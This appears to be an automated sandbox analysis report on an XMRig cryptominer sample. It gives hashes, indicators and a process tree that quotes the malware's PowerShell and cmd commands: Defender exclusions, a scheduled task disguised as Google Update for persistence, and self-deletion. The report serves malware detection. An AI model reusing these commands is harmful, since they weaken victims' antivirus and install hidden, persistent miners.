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Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
-
max time kernel
1799s -
max time network
1800s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2024, 20:08
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20231129-en
General
-
Target
QNREJhVYDhHk52cq3.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
description pid Process procid_target PID 3004 created 3596 3004 QNREJhVYDhHk52cq3.exe 14 PID 3004 created 3596 3004 QNREJhVYDhHk52cq3.exe 14 PID 3004 created 3596 3004 QNREJhVYDhHk52cq3.exe 14 PID 1728 created 3596 1728 updater.exe 14 PID 1728 created 3596 1728 updater.exe 14 PID 1728 created 3596 1728 updater.exe 14 PID 2932 created 3596 2932 conhost.exe 14 PID 1728 created 3596 1728 updater.exe 14 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral2/memory/2508-127-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-131-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-133-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-134-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-136-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-140-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-142-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-144-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-146-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-148-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-150-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-152-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-154-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-156-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-158-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-160-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-162-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-164-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-166-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-168-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-170-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-172-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-174-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-176-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-178-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-180-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-182-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-184-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-186-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig behavioral2/memory/2508-188-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 1728 updater.exe -
resource yara_rule behavioral2/memory/2508-123-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-127-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-131-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-133-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-134-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-136-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-140-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-142-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-144-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-146-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-148-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-150-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-152-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-154-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-156-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-158-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-160-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-162-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-164-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-166-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-168-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-170-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-172-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-174-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-176-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-178-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-180-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-182-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-184-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-186-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx behavioral2/memory/2508-188-0x00007FF7C4E80000-0x00007FF7C5674000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1728 set thread context of 2932 1728 updater.exe 116 PID 1728 set thread context of 2508 1728 updater.exe 117 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe QNREJhVYDhHk52cq3.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4272 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 3004 QNREJhVYDhHk52cq3.exe 3004 QNREJhVYDhHk52cq3.exe 3316 powershell.exe 3316 powershell.exe 3004 QNREJhVYDhHk52cq3.exe 3004 QNREJhVYDhHk52cq3.exe 440 powershell.exe 440 powershell.exe 3004 QNREJhVYDhHk52cq3.exe 3004 QNREJhVYDhHk52cq3.exe 3004 QNREJhVYDhHk52cq3.exe 3004 QNREJhVYDhHk52cq3.exe 456 powershell.exe 456 powershell.exe 1728 updater.exe 1728 updater.exe 4156 powershell.exe 4156 powershell.exe 1728 updater.exe 1728 updater.exe 3804 powershell.exe 3804 powershell.exe 1728 updater.exe 1728 updater.exe 1728 updater.exe 1728 updater.exe 2932 conhost.exe 2932 conhost.exe 1728 updater.exe 1728 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3316 powershell.exe Token: SeDebugPrivilege 440 powershell.exe Token: SeIncreaseQuotaPrivilege 440 powershell.exe Token: SeSecurityPrivilege 440 powershell.exe Token: SeTakeOwnershipPrivilege 440 powershell.exe Token: SeLoadDriverPrivilege 440 powershell.exe Token: SeSystemProfilePrivilege 440 powershell.exe Token: SeSystemtimePrivilege 440 powershell.exe Token: SeProfSingleProcessPrivilege 440 powershell.exe Token: SeIncBasePriorityPrivilege 440 powershell.exe Token: SeCreatePagefilePrivilege 440 powershell.exe Token: SeBackupPrivilege 440 powershell.exe Token: SeRestorePrivilege 440 powershell.exe Token: SeShutdownPrivilege 440 powershell.exe Token: SeDebugPrivilege 440 powershell.exe Token: SeSystemEnvironmentPrivilege 440 powershell.exe Token: SeRemoteShutdownPrivilege 440 powershell.exe Token: SeUndockPrivilege 440 powershell.exe Token: SeManageVolumePrivilege 440 powershell.exe Token: 33 440 powershell.exe Token: 34 440 powershell.exe Token: 35 440 powershell.exe Token: 36 440 powershell.exe Token: SeIncreaseQuotaPrivilege 440 powershell.exe Token: SeSecurityPrivilege 440 powershell.exe Token: SeTakeOwnershipPrivilege 440 powershell.exe Token: SeLoadDriverPrivilege 440 powershell.exe Token: SeSystemProfilePrivilege 440 powershell.exe Token: SeSystemtimePrivilege 440 powershell.exe Token: SeProfSingleProcessPrivilege 440 powershell.exe Token: SeIncBasePriorityPrivilege 440 powershell.exe Token: SeCreatePagefilePrivilege 440 powershell.exe Token: SeBackupPrivilege 440 powershell.exe Token: SeRestorePrivilege 440 powershell.exe Token: SeShutdownPrivilege 440 powershell.exe Token: SeDebugPrivilege 440 powershell.exe Token: SeSystemEnvironmentPrivilege 440 powershell.exe Token: SeRemoteShutdownPrivilege 440 powershell.exe Token: SeUndockPrivilege 440 powershell.exe Token: SeManageVolumePrivilege 440 powershell.exe Token: 33 440 powershell.exe Token: 34 440 powershell.exe Token: 35 440 powershell.exe Token: 36 440 powershell.exe Token: SeIncreaseQuotaPrivilege 440 powershell.exe Token: SeSecurityPrivilege 440 powershell.exe Token: SeTakeOwnershipPrivilege 440 powershell.exe Token: SeLoadDriverPrivilege 440 powershell.exe Token: SeSystemProfilePrivilege 440 powershell.exe Token: SeSystemtimePrivilege 440 powershell.exe Token: SeProfSingleProcessPrivilege 440 powershell.exe Token: SeIncBasePriorityPrivilege 440 powershell.exe Token: SeCreatePagefilePrivilege 440 powershell.exe Token: SeBackupPrivilege 440 powershell.exe Token: SeRestorePrivilege 440 powershell.exe Token: SeShutdownPrivilege 440 powershell.exe Token: SeDebugPrivilege 440 powershell.exe Token: SeSystemEnvironmentPrivilege 440 powershell.exe Token: SeRemoteShutdownPrivilege 440 powershell.exe Token: SeUndockPrivilege 440 powershell.exe Token: SeManageVolumePrivilege 440 powershell.exe Token: 33 440 powershell.exe Token: 34 440 powershell.exe Token: 35 440 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 464 wrote to memory of 2212 464 cmd.exe 103 PID 464 wrote to memory of 2212 464 cmd.exe 103 PID 456 wrote to memory of 3296 456 powershell.exe 104 PID 456 wrote to memory of 3296 456 powershell.exe 104 PID 1728 wrote to memory of 2932 1728 updater.exe 116 PID 2616 wrote to memory of 4272 2616 cmd.exe 112 PID 2616 wrote to memory of 4272 2616 cmd.exe 112 PID 1728 wrote to memory of 2508 1728 updater.exe 117 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3596
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C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3004 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3316
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:440
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:456 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3296
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:464 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2212
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4156
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3804
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1452
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2932
